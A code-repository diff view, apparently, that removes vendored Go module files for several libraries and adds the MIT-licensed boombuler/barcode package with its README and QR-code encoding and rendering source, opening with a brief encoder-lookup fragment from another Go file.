if encoder, ok := EncoderMap[encoderID]; ok {
return encoderID, encoder, nil
}
return -1, nil, errors.New("{{if .Config.Debug}}Invalid encoder nonce{{end}}")
return -1, nil, errors.New("Invalid encoder nonce")
}
// RandomEncoder - Get a random nonce identifier and a matching encoder
-19
View File
@@ -1,19 +0,0 @@
module github.com/AlecAivazis/survey/v2
require (
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
github.com/kr/pty v1.1.4 // indirect
github.com/mattn/go-colorable v0.1.2 // indirect
github.com/mattn/go-isatty v0.0.8
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/stretchr/testify v1.2.1
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1 // indirect
golang.org/x/text v0.3.0
)
go 1.13
-31
View File
@@ -1,31 +0,0 @@
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8 h1:xzYJEypr/85nBpB11F9br+3HUrpgb+fcm5iADzXXYEw=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174 h1:WlZsjVhE8Af9IcZDGgJGQpNflI3+MJSBhsgT5PCtzBQ=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kr/pty v1.1.4 h1:5Myjjh3JY/NaAi4IsUbHADytDyl1VE1Y9PXDlL+P/VQ=
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/testify v1.2.1 h1:52QO5WkIUcHGIR7EnGagH88x1bUzqGXTC5/1bDTUQ7U=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5 h1:8dUaAV7K4uHsF56JQWkprecIQKdPHtR9jCHF5nB8uzc=
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1 h1:R4dVlxdmKenVdMRS/tTspEpSTRWINYrHD8ySIU9yCIU=
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
-8
View File
@@ -1,8 +0,0 @@
module github.com/VirusTotal/vt-go
go 1.14
require (
github.com/stretchr/testify v1.7.0
github.com/thedevsaddam/gojsonq/v2 v2.5.2
)
-13
View File
@@ -1,13 +0,0 @@
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-18
View File
@@ -1,18 +0,0 @@
module github.com/alecthomas/chroma
go 1.13
require (
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 // indirect
github.com/alecthomas/kong v0.2.4
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964
github.com/dlclark/regexp2 v1.2.0
github.com/mattn/go-colorable v0.1.6
github.com/mattn/go-isatty v0.0.12
github.com/pkg/errors v0.9.1 // indirect
github.com/sergi/go-diff v1.0.0 // indirect
github.com/stretchr/testify v1.3.0 // indirect
golang.org/x/sys v0.0.0-20200413165638-669c56c373c4 // indirect
)
-36
View File
@@ -1,36 +0,0 @@
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 h1:JHZL0hZKJ1VENNfmXvHbgYlbUOvpzYzvy2aZU5gXVeo=
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721/go.mod h1:QO9JBoKquHd+jz9nshCh40fOfO+JzsoXy8qTHF68zU0=
github.com/alecthomas/kong v0.2.4 h1:Y0ZBCHAvHhTHw7FFJ2FzCAAG4pkbTgA45nc7BpMhDNk=
github.com/alecthomas/kong v0.2.4/go.mod h1:kQOmtJgV+Lb4aj+I2LEn40cbtawdWJ9Y8QLq+lElKxE=
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 h1:p9Sln00KOTlrYkxI1zYWl1QLnEqAqEARBEYa8FQnQcY=
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 h1:y5HC9v93H5EPKqaS1UYVg1uYah5Xf51mBfIoWehClUQ=
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964/go.mod h1:Xd9hchkHSWYkEqJwUGisez3G1QY8Ryz0sdWrLPMGjLk=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/mattn/go-colorable v0.1.6 h1:6Su7aK7lXmJ/U79bYtBjLNaha4Fs1Rg9plHpcH+vvnE=
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ=
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200413165638-669c56c373c4 h1:opSr2sbRXk5X5/givKrrKj9HXxFpW2sdCiP8MJSKLQY=
golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+1
View File
@@ -0,0 +1 @@
.vscode/
+21
View File
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2014 Florian Sundermann
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+53
View File
@@ -0,0 +1,53 @@
[![Join the chat at https://gitter.im/golang-barcode/Lobby](https://badges.gitter.im/golang-barcode/Lobby.svg)](https://gitter.im/golang-barcode/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
## Introduction ##
This is a package for GO which can be used to create different types of barcodes.
## Supported Barcode Types ##
* 2 of 5
* Aztec Code
* Codabar
* Code 128
* Code 39
* Code 93
* Datamatrix
* EAN 13
* EAN 8
* PDF 417
* QR Code
## Example ##
This is a simple example on how to create a QR-Code and write it to a png-file
```go
package main
import (
"image/png"
"os"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/qr"
)
func main() {
// Create the barcode
qrCode, _ := qr.Encode("Hello World", qr.M, qr.Auto)
// Scale the barcode to 200x200 pixels
qrCode, _ = barcode.Scale(qrCode, 200, 200)
// create the output file
file, _ := os.Create("qrcode.png")
defer file.Close()
// encode the barcode as png
png.Encode(file, qrCode)
}
```
## Documentation ##
See [GoDoc](https://godoc.org/github.com/boombuler/barcode)
To create a barcode use the Encode function from one of the subpackages.
+42
View File
@@ -0,0 +1,42 @@
package barcode
import "image"
const (
TypeAztec = "Aztec"
TypeCodabar = "Codabar"
TypeCode128 = "Code 128"
TypeCode39 = "Code 39"
TypeCode93 = "Code 93"
TypeDataMatrix = "DataMatrix"
TypeEAN8 = "EAN 8"
TypeEAN13 = "EAN 13"
TypePDF = "PDF417"
TypeQR = "QR Code"
Type2of5 = "2 of 5"
Type2of5Interleaved = "2 of 5 (interleaved)"
)
// Contains some meta information about a barcode
type Metadata struct {
// the name of the barcode kind
CodeKind string
// contains 1 for 1D barcodes or 2 for 2D barcodes
Dimensions byte
}
// a rendered and encoded barcode
type Barcode interface {
image.Image
// returns some meta information about the barcode
Metadata() Metadata
// the data that was encoded in this barcode
Content() string
}
// Additional interface that some barcodes might implement to provide
// the value of its checksum.
type BarcodeIntCS interface {
Barcode
CheckSum() int
}
+66
View File
@@ -0,0 +1,66 @@
package qr
import (
"errors"
"fmt"
"strings"
"github.com/boombuler/barcode/utils"
)
const charSet string = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"
func stringToAlphaIdx(content string) <-chan int {
result := make(chan int)
go func() {
for _, r := range content {
idx := strings.IndexRune(charSet, r)
result <- idx
if idx < 0 {
break
}
}
close(result)
}()
return result
}
func encodeAlphaNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
contentLenIsOdd := len(content)%2 == 1
contentBitCount := (len(content) / 2) * 11
if contentLenIsOdd {
contentBitCount += 6
}
vi := findSmallestVersionInfo(ecl, alphaNumericMode, contentBitCount)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
res := new(utils.BitList)
res.AddBits(int(alphaNumericMode), 4)
res.AddBits(len(content), vi.charCountBits(alphaNumericMode))
encoder := stringToAlphaIdx(content)
for idx := 0; idx < len(content)/2; idx++ {
c1 := <-encoder
c2 := <-encoder
if c1 < 0 || c2 < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
}
res.AddBits(c1*45+c2, 11)
}
if contentLenIsOdd {
c := <-encoder
if c < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
}
res.AddBits(c, 6)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+23
View File
@@ -0,0 +1,23 @@
package qr
import (
"fmt"
"github.com/boombuler/barcode/utils"
)
func encodeAuto(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
bits, vi, _ := Numeric.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
bits, vi, _ = AlphaNumeric.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
bits, vi, _ = Unicode.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
return nil, nil, fmt.Errorf("No encoding found to encode \"%s\"", content)
}
+59
View File
@@ -0,0 +1,59 @@
package qr
type block struct {
data []byte
ecc []byte
}
type blockList []*block
func splitToBlocks(data <-chan byte, vi *versionInfo) blockList {
result := make(blockList, vi.NumberOfBlocksInGroup1+vi.NumberOfBlocksInGroup2)
for b := 0; b < int(vi.NumberOfBlocksInGroup1); b++ {
blk := new(block)
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup1)
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup1); cw++ {
blk.data[cw] = <-data
}
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
result[b] = blk
}
for b := 0; b < int(vi.NumberOfBlocksInGroup2); b++ {
blk := new(block)
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup2)
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup2); cw++ {
blk.data[cw] = <-data
}
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
result[int(vi.NumberOfBlocksInGroup1)+b] = blk
}
return result
}
func (bl blockList) interleave(vi *versionInfo) []byte {
var maxCodewordCount int
if vi.DataCodeWordsPerBlockInGroup1 > vi.DataCodeWordsPerBlockInGroup2 {
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup1)
} else {
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup2)
}
resultLen := (vi.DataCodeWordsPerBlockInGroup1+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup1 +
(vi.DataCodeWordsPerBlockInGroup2+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup2
result := make([]byte, 0, resultLen)
for i := 0; i < maxCodewordCount; i++ {
for b := 0; b < len(bl); b++ {
if len(bl[b].data) > i {
result = append(result, bl[b].data[i])
}
}
}
for i := 0; i < int(vi.ErrorCorrectionCodewordsPerBlock); i++ {
for b := 0; b < len(bl); b++ {
result = append(result, bl[b].ecc[i])
}
}
return result
}
+416
View File
@@ -0,0 +1,416 @@
// Package qr can be used to create QR barcodes.
package qr
import (
"image"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/utils"
)
type encodeFn func(content string, eccLevel ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error)
// Encoding mode for QR Codes.
type Encoding byte
const (
// Auto will choose ths best matching encoding
Auto Encoding = iota
// Numeric encoding only encodes numbers [0-9]
Numeric
// AlphaNumeric encoding only encodes uppercase letters, numbers and [Space], $, %, *, +, -, ., /, :
AlphaNumeric
// Unicode encoding encodes the string as utf-8
Unicode
// only for testing purpose
unknownEncoding
)
func (e Encoding) getEncoder() encodeFn {
switch e {
case Auto:
return encodeAuto
case Numeric:
return encodeNumeric
case AlphaNumeric:
return encodeAlphaNumeric
case Unicode:
return encodeUnicode
}
return nil
}
func (e Encoding) String() string {
switch e {
case Auto:
return "Auto"
case Numeric:
return "Numeric"
case AlphaNumeric:
return "AlphaNumeric"
case Unicode:
return "Unicode"
}
return ""
}
// Encode returns a QR barcode with the given content, error correction level and uses the given encoding
func Encode(content string, level ErrorCorrectionLevel, mode Encoding) (barcode.Barcode, error) {
bits, vi, err := mode.getEncoder()(content, level)
if err != nil {
return nil, err
}
blocks := splitToBlocks(bits.IterateBytes(), vi)
data := blocks.interleave(vi)
result := render(data, vi)
result.content = content
return result, nil
}
func render(data []byte, vi *versionInfo) *qrcode {
dim := vi.modulWidth()
results := make([]*qrcode, 8)
for i := 0; i < 8; i++ {
results[i] = newBarcode(dim)
}
occupied := newBarcode(dim)
setAll := func(x int, y int, val bool) {
occupied.Set(x, y, true)
for i := 0; i < 8; i++ {
results[i].Set(x, y, val)
}
}
drawFinderPatterns(vi, setAll)
drawAlignmentPatterns(occupied, vi, setAll)
//Timing Pattern:
var i int
for i = 0; i < dim; i++ {
if !occupied.Get(i, 6) {
setAll(i, 6, i%2 == 0)
}
if !occupied.Get(6, i) {
setAll(6, i, i%2 == 0)
}
}
// Dark Module
setAll(8, dim-8, true)
drawVersionInfo(vi, setAll)
drawFormatInfo(vi, -1, occupied.Set)
for i := 0; i < 8; i++ {
drawFormatInfo(vi, i, results[i].Set)
}
// Write the data
var curBitNo int
for pos := range iterateModules(occupied) {
var curBit bool
if curBitNo < len(data)*8 {
curBit = ((data[curBitNo/8] >> uint(7-(curBitNo%8))) & 1) == 1
} else {
curBit = false
}
for i := 0; i < 8; i++ {
setMasked(pos.X, pos.Y, curBit, i, results[i].Set)
}
curBitNo++
}
lowestPenalty := ^uint(0)
lowestPenaltyIdx := -1
for i := 0; i < 8; i++ {
p := results[i].calcPenalty()
if p < lowestPenalty {
lowestPenalty = p
lowestPenaltyIdx = i
}
}
return results[lowestPenaltyIdx]
}
func setMasked(x, y int, val bool, mask int, set func(int, int, bool)) {
switch mask {
case 0:
val = val != (((y + x) % 2) == 0)
break
case 1:
val = val != ((y % 2) == 0)
break
case 2:
val = val != ((x % 3) == 0)
break
case 3:
val = val != (((y + x) % 3) == 0)
break
case 4:
val = val != (((y/2 + x/3) % 2) == 0)
break
case 5:
val = val != (((y*x)%2)+((y*x)%3) == 0)
break
case 6:
val = val != ((((y*x)%2)+((y*x)%3))%2 == 0)
break
case 7:
val = val != ((((y+x)%2)+((y*x)%3))%2 == 0)
}
set(x, y, val)
}
func iterateModules(occupied *qrcode) <-chan image.Point {
result := make(chan image.Point)
allPoints := make(chan image.Point)
go func() {
curX := occupied.dimension - 1
curY := occupied.dimension - 1
isUpward := true
for true {
if isUpward {
allPoints <- image.Pt(curX, curY)
allPoints <- image.Pt(curX-1, curY)
curY--
if curY < 0 {
curY = 0
curX -= 2
if curX == 6 {
curX--
}
if curX < 0 {
break
}
isUpward = false
}
} else {
allPoints <- image.Pt(curX, curY)
allPoints <- image.Pt(curX-1, curY)
curY++
if curY >= occupied.dimension {
curY = occupied.dimension - 1
curX -= 2
if curX == 6 {
curX--
}
isUpward = true
if curX < 0 {
break
}
}
}
}
close(allPoints)
}()
go func() {
for pt := range allPoints {
if !occupied.Get(pt.X, pt.Y) {
result <- pt
}
}
close(result)
}()
return result
}
func drawFinderPatterns(vi *versionInfo, set func(int, int, bool)) {
dim := vi.modulWidth()
drawPattern := func(xoff int, yoff int) {
for x := -1; x < 8; x++ {
for y := -1; y < 8; y++ {
val := (x == 0 || x == 6 || y == 0 || y == 6 || (x > 1 && x < 5 && y > 1 && y < 5)) && (x <= 6 && y <= 6 && x >= 0 && y >= 0)
if x+xoff >= 0 && x+xoff < dim && y+yoff >= 0 && y+yoff < dim {
set(x+xoff, y+yoff, val)
}
}
}
}
drawPattern(0, 0)
drawPattern(0, dim-7)
drawPattern(dim-7, 0)
}
func drawAlignmentPatterns(occupied *qrcode, vi *versionInfo, set func(int, int, bool)) {
drawPattern := func(xoff int, yoff int) {
for x := -2; x <= 2; x++ {
for y := -2; y <= 2; y++ {
val := x == -2 || x == 2 || y == -2 || y == 2 || (x == 0 && y == 0)
set(x+xoff, y+yoff, val)
}
}
}
positions := vi.alignmentPatternPlacements()
for _, x := range positions {
for _, y := range positions {
if occupied.Get(x, y) {
continue
}
drawPattern(x, y)
}
}
}
var formatInfos = map[ErrorCorrectionLevel]map[int][]bool{
L: {
0: []bool{true, true, true, false, true, true, true, true, true, false, false, false, true, false, false},
1: []bool{true, true, true, false, false, true, false, true, true, true, true, false, false, true, true},
2: []bool{true, true, true, true, true, false, true, true, false, true, false, true, false, true, false},
3: []bool{true, true, true, true, false, false, false, true, false, false, true, true, true, false, true},
4: []bool{true, true, false, false, true, true, false, false, false, true, false, true, true, true, true},
5: []bool{true, true, false, false, false, true, true, false, false, false, true, true, false, false, false},
6: []bool{true, true, false, true, true, false, false, false, true, false, false, false, false, false, true},
7: []bool{true, true, false, true, false, false, true, false, true, true, true, false, true, true, false},
},
M: {
0: []bool{true, false, true, false, true, false, false, false, false, false, true, false, false, true, false},
1: []bool{true, false, true, false, false, false, true, false, false, true, false, false, true, false, true},
2: []bool{true, false, true, true, true, true, false, false, true, true, true, true, true, false, false},
3: []bool{true, false, true, true, false, true, true, false, true, false, false, true, false, true, true},
4: []bool{true, false, false, false, true, false, true, true, true, true, true, true, false, false, true},
5: []bool{true, false, false, false, false, false, false, true, true, false, false, true, true, true, false},
6: []bool{true, false, false, true, true, true, true, true, false, false, true, false, true, true, true},
7: []bool{true, false, false, true, false, true, false, true, false, true, false, false, false, false, false},
},
Q: {
0: []bool{false, true, true, false, true, false, true, false, true, false, true, true, true, true, true},
1: []bool{false, true, true, false, false, false, false, false, true, true, false, true, false, false, false},
2: []bool{false, true, true, true, true, true, true, false, false, true, true, false, false, false, true},
3: []bool{false, true, true, true, false, true, false, false, false, false, false, false, true, true, false},
4: []bool{false, true, false, false, true, false, false, true, false, true, true, false, true, false, false},
5: []bool{false, true, false, false, false, false, true, true, false, false, false, false, false, true, true},
6: []bool{false, true, false, true, true, true, false, true, true, false, true, true, false, true, false},
7: []bool{false, true, false, true, false, true, true, true, true, true, false, true, true, false, true},
},
H: {
0: []bool{false, false, true, false, true, true, false, true, false, false, false, true, false, false, true},
1: []bool{false, false, true, false, false, true, true, true, false, true, true, true, true, true, false},
2: []bool{false, false, true, true, true, false, false, true, true, true, false, false, true, true, true},
3: []bool{false, false, true, true, false, false, true, true, true, false, true, false, false, false, false},
4: []bool{false, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
5: []bool{false, false, false, false, false, true, false, false, true, false, true, false, true, false, true},
6: []bool{false, false, false, true, true, false, true, false, false, false, false, true, true, false, false},
7: []bool{false, false, false, true, false, false, false, false, false, true, true, true, false, true, true},
},
}
func drawFormatInfo(vi *versionInfo, usedMask int, set func(int, int, bool)) {
var formatInfo []bool
if usedMask == -1 {
formatInfo = []bool{true, true, true, true, true, true, true, true, true, true, true, true, true, true, true} // Set all to true cause -1 --> occupied mask.
} else {
formatInfo = formatInfos[vi.Level][usedMask]
}
if len(formatInfo) == 15 {
dim := vi.modulWidth()
set(0, 8, formatInfo[0])
set(1, 8, formatInfo[1])
set(2, 8, formatInfo[2])
set(3, 8, formatInfo[3])
set(4, 8, formatInfo[4])
set(5, 8, formatInfo[5])
set(7, 8, formatInfo[6])
set(8, 8, formatInfo[7])
set(8, 7, formatInfo[8])
set(8, 5, formatInfo[9])
set(8, 4, formatInfo[10])
set(8, 3, formatInfo[11])
set(8, 2, formatInfo[12])
set(8, 1, formatInfo[13])
set(8, 0, formatInfo[14])
set(8, dim-1, formatInfo[0])
set(8, dim-2, formatInfo[1])
set(8, dim-3, formatInfo[2])
set(8, dim-4, formatInfo[3])
set(8, dim-5, formatInfo[4])
set(8, dim-6, formatInfo[5])
set(8, dim-7, formatInfo[6])
set(dim-8, 8, formatInfo[7])
set(dim-7, 8, formatInfo[8])
set(dim-6, 8, formatInfo[9])
